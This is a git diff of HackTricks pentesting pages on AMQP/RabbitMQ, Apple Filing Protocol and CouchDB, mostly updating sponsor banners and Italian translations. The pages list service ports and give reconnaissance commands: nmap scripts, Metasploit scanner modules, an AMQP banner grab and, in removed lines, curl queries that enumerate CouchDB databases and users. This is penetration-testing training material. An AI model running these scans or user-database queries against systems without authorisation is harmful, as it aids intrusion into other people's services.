* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) su GitHub.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,28 +1,29 @@
|
||||||
# 5671,5672 - Pentesting AMQP
|
# 5671,5672 - Pentesting AMQP
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## Informazioni di base
|
## Basic Information
|
||||||
|
|
||||||
Da [cloudamqp](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html):
|
From [cloudamqp](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html):
|
||||||
|
|
||||||
> **RabbitMQ** è un **software di messaggistica** noto anche come _message broker_ o _queue manager_. In poche parole, è un software in cui vengono definite code, a cui le applicazioni si connettono per trasferire un messaggio o messaggi.\
|
> **RabbitMQ** è un **software di gestione delle code di messaggi**, noto anche come _broker di messaggi_ o _gestore di code._ In parole semplici; è un software in cui sono definite le code, a cui le applicazioni si connettono per trasferire un messaggio o messaggi.\
|
||||||
> Un **messaggio può includere qualsiasi tipo di informazione**. Potrebbe, ad esempio, contenere informazioni su un processo o un compito che dovrebbe avviarsi su un'altra applicazione (che potrebbe anche essere su un altro server), oppure potrebbe essere solo un semplice messaggio di testo. Il software del gestore di code memorizza i messaggi fino a quando un'applicazione ricevente si connette e preleva un messaggio dalla coda. L'applicazione ricevente elabora quindi il messaggio.\
|
> Un **messaggio può includere qualsiasi tipo di informazione**. Potrebbe, ad esempio, contenere informazioni su un processo o un'attività che dovrebbe iniziare su un'altra applicazione (che potrebbe anche trovarsi su un altro server), oppure potrebbe essere semplicemente un messaggio di testo. Il software di gestione delle code memorizza i messaggi fino a quando un'applicazione ricevente non si connette e preleva un messaggio dalla coda. L'applicazione ricevente elabora quindi il messaggio.\
|
||||||
Definizione da .
|
Definition from .
|
||||||
|
|
||||||
**Porta predefinita**: 5672,5671
|
**Default port**: 5672,5671
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE VERSION
|
PORT STATE SERVICE VERSION
|
||||||
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
|
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
|
||||||
|
@ -38,15 +39,7 @@ conn.connect()
|
||||||
for k, v in conn.server_properties.items():
|
for k, v in conn.server_properties.items():
|
||||||
print(k, v)
|
print(k, v)
|
||||||
```
|
```
|
||||||
### Automatico
|
### Automatic
|
||||||
|
|
||||||
L'attacco automatico è un metodo di attacco che coinvolge l'uso di strumenti e script automatizzati per eseguire una serie di azioni senza l'intervento diretto dell'attaccante. Questo tipo di attacco è ampiamente utilizzato nel pentesting per testare la sicurezza di un sistema o di una rete.
|
|
||||||
|
|
||||||
L'attacco automatico può essere utilizzato per eseguire una varietà di azioni, come la scansione di porte, la ricerca di vulnerabilità, l'esecuzione di exploit e l'ottenimento di accesso non autorizzato a un sistema o a una rete. Gli strumenti di attacco automatico sono progettati per automatizzare queste azioni, consentendo all'attaccante di eseguire rapidamente e in modo efficiente una serie di attacchi.
|
|
||||||
|
|
||||||
L'attacco automatico può essere eseguito sia in modo passivo che in modo attivo. Nel caso di un attacco passivo, l'attaccante monitora e raccoglie informazioni sul sistema o sulla rete senza interagire direttamente con essi. Nel caso di un attacco attivo, l'attaccante interagisce direttamente con il sistema o la rete per eseguire azioni dannose.
|
|
||||||
|
|
||||||
L'attacco automatico può essere molto efficace per identificare e sfruttare vulnerabilità in un sistema o in una rete. Tuttavia, è importante notare che l'uso di strumenti di attacco automatico può essere illegale senza il consenso del proprietario del sistema o della rete. Pertanto, è fondamentale ottenere l'autorizzazione appropriata prima di eseguire un attacco automatico.
|
|
||||||
```bash
|
```bash
|
||||||
nmap -sV -Pn -n -T4 -p 5672 --script amqp-info <IP>
|
nmap -sV -Pn -n -T4 -p 5672 --script amqp-info <IP>
|
||||||
|
|
||||||
|
@ -68,38 +61,39 @@ PORT STATE SERVICE VERSION
|
||||||
```
|
```
|
||||||
### Brute Force
|
### Brute Force
|
||||||
|
|
||||||
* [**Brute-Force del Protocollo AMQP**](../generic-methodologies-and-resources/brute-force.md#amqp-activemq-rabbitmq-qpid-joram-and-solace)
|
* [**AMQP Protocol Brute-Force**](../generic-methodologies-and-resources/brute-force.md#amqp-activemq-rabbitmq-qpid-joram-and-solace)
|
||||||
* [**Brute-Force del Protocollo STOMP**](../generic-methodologies-and-resources/brute-force.md#stomp-activemq-rabbitmq-hornetq-and-openmq)
|
* [**STOMP Protocol Brute-Force**](../generic-methodologies-and-resources/brute-force.md#stomp-activemq-rabbitmq-hornetq-and-openmq)
|
||||||
|
|
||||||
## Altre porte di RabbitMQ
|
## Altri porti RabbitMQ
|
||||||
|
|
||||||
In [https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networking.html) puoi trovare che **RabbitMQ utilizza diverse porte**:
|
In [https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networking.html) puoi trovare che **rabbitmq utilizza diversi porti**:
|
||||||
|
|
||||||
* **1883, 8883**: ([client MQTT](http://mqtt.org) senza e con TLS, se il [plugin MQTT](https://www.rabbitmq.com/mqtt.html) è abilitato. [**Scopri di più su come fare pentesting MQTT qui**](1883-pentesting-mqtt-mosquitto.md).
|
* **1883, 8883**: ([client MQTT](http://mqtt.org) senza e con TLS, se il [plugin MQTT](https://www.rabbitmq.com/mqtt.html) è abilitato. [**Scopri di più su come fare pentesting a MQTT qui**](1883-pentesting-mqtt-mosquitto.md).
|
||||||
* **4369: epmd**, un servizio di scoperta peer utilizzato da nodi RabbitMQ e strumenti CLI. [**Scopri di più su come fare pentesting di questo servizio qui**](4369-pentesting-erlang-port-mapper-daemon-epmd.md).
|
* **4369: epmd**, un servizio di scoperta peer utilizzato dai nodi RabbitMQ e dagli strumenti CLI. [**Scopri di più su come fare pentesting a questo servizio qui**](4369-pentesting-erlang-port-mapper-daemon-epmd.md).
|
||||||
* **5672, 5671**: utilizzate da client AMQP 0-9-1 e 1.0 senza e con TLS
|
* **5672, 5671**: utilizzati dai client AMQP 0-9-1 e 1.0 senza e con TLS
|
||||||
* **15672**: client [API HTTP](https://www.rabbitmq.com/management.html), [interfaccia di gestione](https://www.rabbitmq.com/management.html) e [rabbitmqadmin](https://www.rabbitmq.com/management-cli.html) (solo se il [plugin di gestione](https://www.rabbitmq.com/management.html) è abilitato). [**Scopri di più su come fare pentesting di questo servizio qui**](15672-pentesting-rabbitmq-management.md).
|
* **15672**: [API HTTP](https://www.rabbitmq.com/management.html) client, [interfaccia di gestione](https://www.rabbitmq.com/management.html) e [rabbitmqadmin](https://www.rabbitmq.com/management-cli.html) (solo se il [plugin di gestione](https://www.rabbitmq.com/management.html) è abilitato). [**Scopri di più su come fare pentesting a questo servizio qui**](15672-pentesting-rabbitmq-management.md).
|
||||||
* 15674: client STOMP-over-WebSockets (solo se il [plugin Web STOMP](https://www.rabbitmq.com/web-stomp.html) è abilitato)
|
* 15674: client STOMP-over-WebSockets (solo se il [plugin Web STOMP](https://www.rabbitmq.com/web-stomp.html) è abilitato)
|
||||||
* 15675: client MQTT-over-WebSockets (solo se il [plugin Web MQTT](https://www.rabbitmq.com/web-mqtt.html) è abilitato)
|
* 15675: client MQTT-over-WebSockets (solo se il [plugin Web MQTT](https://www.rabbitmq.com/web-mqtt.html) è abilitato)
|
||||||
* 15692: metriche Prometheus (solo se il [plugin Prometheus](https://www.rabbitmq.com/prometheus.html) è abilitato)
|
* 15692: metriche Prometheus (solo se il [plugin Prometheus](https://www.rabbitmq.com/prometheus.html) è abilitato)
|
||||||
* 25672: utilizzata per la comunicazione tra nodi e strumenti CLI (porta del server di distribuzione Erlang) e viene allocata da un intervallo dinamico (limitato a una singola porta per impostazione predefinita, calcolata come porta AMQP + 20000). A meno che le connessioni esterne su queste porte non siano realmente necessarie (ad esempio, il cluster utilizza [federazione](https://www.rabbitmq.com/federation.html) o gli strumenti CLI vengono utilizzati su macchine al di fuori del subnet), queste porte non dovrebbero essere esposte pubblicamente. Consulta la [guida alla rete](https://www.rabbitmq.com/networking.html) per ulteriori dettagli. **Solo 9 di queste porte aperte su Internet**.
|
* 25672: utilizzato per la comunicazione tra nodi e strumenti CLI (porta del server di distribuzione Erlang) ed è allocato da un intervallo dinamico (limitato a una singola porta per impostazione predefinita, calcolato come porta AMQP + 20000). A meno che le connessioni esterne su queste porte non siano davvero necessarie (ad es. il cluster utilizza [federazione](https://www.rabbitmq.com/federation.html) o gli strumenti CLI sono utilizzati su macchine al di fuori della subnet), queste porte non dovrebbero essere esposte pubblicamente. Vedi [guida al networking](https://www.rabbitmq.com/networking.html) per dettagli. **Solo 9 di queste porte aperte su internet**.
|
||||||
* 35672-35682: utilizzate dagli strumenti CLI (porte client di distribuzione Erlang) per la comunicazione con i nodi e vengono allocate da un intervallo dinamico (calcolato come porta di distribuzione del server + 10000 attraverso la porta di distribuzione del server + 10010). Consulta la [guida alla rete](https://www.rabbitmq.com/networking.html) per ulteriori dettagli.
|
* 35672-35682: utilizzate dagli strumenti CLI (porte client di distribuzione Erlang) per la comunicazione con i nodi e sono allocate da un intervallo dinamico (calcolato come porta di distribuzione del server + 10000 fino a porta di distribuzione del server + 10010). Vedi [guida al networking](https://www.rabbitmq.com/networking.html) per dettagli.
|
||||||
* 61613, 61614: [client STOMP](https://stomp.github.io/stomp-specification-1.2.html) senza e con TLS (solo se il [plugin STOMP](https://www.rabbitmq.com/stomp.html) è abilitato). Meno di 10 dispositivi con questa porta aperta e principalmente UDP per i nodi DHT.
|
* 61613, 61614: [client STOMP](https://stomp.github.io/stomp-specification-1.2.html) senza e con TLS (solo se il [plugin STOMP](https://www.rabbitmq.com/stomp.html) è abilitato). Meno di 10 dispositivi con questa porta aperta e per lo più UDP per i nodi DHT.
|
||||||
|
|
||||||
## Shodan
|
## Shodan
|
||||||
|
|
||||||
* `AMQP`
|
* `AMQP`
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,23 +1,24 @@
|
||||||
# 548 - Pentesting Apple Filing Protocol (AFP)
|
# 548 - Pentesting Apple Filing Protocol (AFP)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
## Informazioni di base
|
## Informazioni di base
|
||||||
|
|
||||||
Il **Protocollo di condivisione file Apple** (**AFP**), precedentemente noto come AppleTalk Filing Protocol, è un protocollo di rete specializzato incluso nel **Servizio file Apple** (**AFS**). È progettato per fornire servizi di file per macOS e il classico Mac OS. AFP si distingue per il supporto dei nomi file Unicode, delle autorizzazioni POSIX e delle liste di controllo degli accessi, delle risorse forks, degli attributi estesi denominati e dei sofisticati meccanismi di blocco dei file. Era il protocollo principale per i servizi di file in Mac OS 9 e nelle versioni precedenti.
|
Il **Apple Filing Protocol** (**AFP**), un tempo noto come AppleTalk Filing Protocol, è un protocollo di rete specializzato incluso nel **Apple File Service** (**AFS**). È progettato per fornire servizi di file per macOS e il classico Mac OS. AFP si distingue per il supporto dei nomi di file Unicode, delle autorizzazioni POSIX e delle liste di controllo degli accessi, dei resource forks, degli attributi estesi nominati e di meccanismi di blocco dei file sofisticati. È stato il protocollo principale per i servizi di file in Mac OS 9 e versioni precedenti.
|
||||||
|
|
||||||
**Porta predefinita:** 548
|
**Porta predefinita:** 548
|
||||||
```bash
|
```bash
|
||||||
|
@ -26,30 +27,31 @@ PORT STATE SERVICE
|
||||||
```
|
```
|
||||||
### **Enumerazione**
|
### **Enumerazione**
|
||||||
|
|
||||||
Per l'enumerazione dei servizi AFP, sono utili i seguenti comandi e script:
|
Per l'enumerazione dei servizi AFP, i seguenti comandi e script sono utili:
|
||||||
```bash
|
```bash
|
||||||
msf> use auxiliary/scanner/afp/afp_server_info
|
msf> use auxiliary/scanner/afp/afp_server_info
|
||||||
nmap -sV --script "afp-* and not dos and not brute" -p <PORT> <IP>
|
nmap -sV --script "afp-* and not dos and not brute" -p <PORT> <IP>
|
||||||
```
|
```
|
||||||
**Script e le loro descrizioni:**
|
**Script e le loro descrizioni:**
|
||||||
|
|
||||||
- **afp-ls**: Questo script viene utilizzato per elencare i volumi e i file AFP disponibili.
|
- **afp-ls**: Questo script è utilizzato per elencare i volumi e i file AFP disponibili.
|
||||||
- **afp-path-vuln**: Elenca tutti i volumi e i file AFP, evidenziando le potenziali vulnerabilità.
|
- **afp-path-vuln**: Elenca tutti i volumi e i file AFP, evidenziando potenziali vulnerabilità.
|
||||||
- **afp-serverinfo**: Fornisce informazioni dettagliate sul server AFP.
|
- **afp-serverinfo**: Fornisce informazioni dettagliate sul server AFP.
|
||||||
- **afp-showmount**: Elenca le condivisioni AFP disponibili insieme ai rispettivi ACL.
|
- **afp-showmount**: Elenca le condivisioni AFP disponibili insieme ai rispettivi ACL.
|
||||||
|
|
||||||
### [**Forza bruta**](../generic-methodologies-and-resources/brute-force.md#afp)
|
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#afp)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,26 +1,27 @@
|
||||||
# 5984,6984 - Pentesting CouchDB
|
# 5984,6984 - Pentesting CouchDB
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## **Informazioni di base**
|
## **Informazioni di base**
|
||||||
|
|
||||||
**CouchDB** è un versatile e potente **database orientato ai documenti** che organizza i dati utilizzando una struttura **mappa chiave-valore** all'interno di ogni **documento**. I campi all'interno del documento possono essere rappresentati come **coppie chiave/valore, liste o mappe**, offrendo flessibilità nella memorizzazione e nel recupero dei dati.
|
**CouchDB** è un **database orientato ai documenti** versatile e potente che organizza i dati utilizzando una struttura a **mappa chiave-valore** all'interno di ogni **documento**. I campi all'interno del documento possono essere rappresentati come **coppie chiave/valore, liste o mappe**, fornendo flessibilità nello stoccaggio e nel recupero dei dati.
|
||||||
|
|
||||||
Ogni **documento** memorizzato in CouchDB viene assegnato un **identificatore univoco** (`_id`) a livello di documento. Inoltre, ogni modifica apportata e salvata nel database viene assegnata un **numero di revisione** (`_rev`). Questo numero di revisione consente un **tracciamento efficiente e una gestione delle modifiche**, facilitando il recupero e la sincronizzazione dei dati all'interno del database.
|
Ogni **documento** memorizzato in CouchDB è assegnato a un **identificatore unico** (`_id`) a livello di documento. Inoltre, ogni modifica apportata e salvata nel database è assegnata a un **numero di revisione** (`_rev`). Questo numero di revisione consente un'efficiente **tracciamento e gestione delle modifiche**, facilitando il recupero e la sincronizzazione dei dati all'interno del database.
|
||||||
|
|
||||||
**Porta predefinita:** 5984 (http), 6984 (https)
|
**Porta predefinita:** 5984(http), 6984(https)
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE REASON
|
PORT STATE SERVICE REASON
|
||||||
5984/tcp open unknown syn-ack
|
5984/tcp open unknown syn-ack
|
||||||
|
@ -30,100 +31,70 @@ PORT STATE SERVICE REASON
|
||||||
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
|
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
|
||||||
msf> use auxiliary/scanner/couchdb/couchdb_enum
|
msf> use auxiliary/scanner/couchdb/couchdb_enum
|
||||||
```
|
```
|
||||||
### Intestazione
|
## Enumerazione Manuale
|
||||||
|
|
||||||
La fase di enumerazione manuale inizia con l'acquisizione dell'intestazione del servizio CouchDB. L'intestazione contiene informazioni utili come la versione del software e altre informazioni di configurazione. Per ottenere l'intestazione, è possibile utilizzare il comando `curl` seguito dall'URL del servizio CouchDB:
|
### Banner
|
||||||
|
|
||||||
```bash
|
|
||||||
curl -I http://<indirizzo_IP>:5984
|
|
||||||
```
|
|
||||||
|
|
||||||
### Database Enumeration
|
|
||||||
|
|
||||||
La successiva fase di enumerazione manuale coinvolge l'individuazione dei database presenti nel servizio CouchDB. Per fare ciò, è possibile utilizzare il comando `curl` seguito dall'URL del servizio CouchDB e dalla directory `_all_dbs`:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
curl -X GET http://<indirizzo_IP>:5984/_all_dbs
|
|
||||||
```
|
|
||||||
|
|
||||||
### Document Enumeration
|
|
||||||
|
|
||||||
Una volta individuati i database, è possibile enumerare i documenti presenti in ciascun database. Per fare ciò, è possibile utilizzare il comando `curl` seguito dall'URL del servizio CouchDB e dal nome del database desiderato:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
curl -X GET http://<indirizzo_IP>:5984/<nome_database>
|
|
||||||
```
|
|
||||||
|
|
||||||
### User Enumeration
|
|
||||||
|
|
||||||
Infine, è possibile enumerare gli utenti presenti nel servizio CouchDB. Per fare ciò, è possibile utilizzare il comando `curl` seguito dall'URL del servizio CouchDB e dalla directory `_users`:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
curl -X GET http://<indirizzo_IP>:5984/_users
|
|
||||||
```
|
|
||||||
|
|
||||||
Durante l'enumerazione manuale, è importante prestare attenzione alle informazioni sensibili che possono essere ottenute, come nomi utente, password o altre informazioni di autenticazione.
|
|
||||||
```
|
```
|
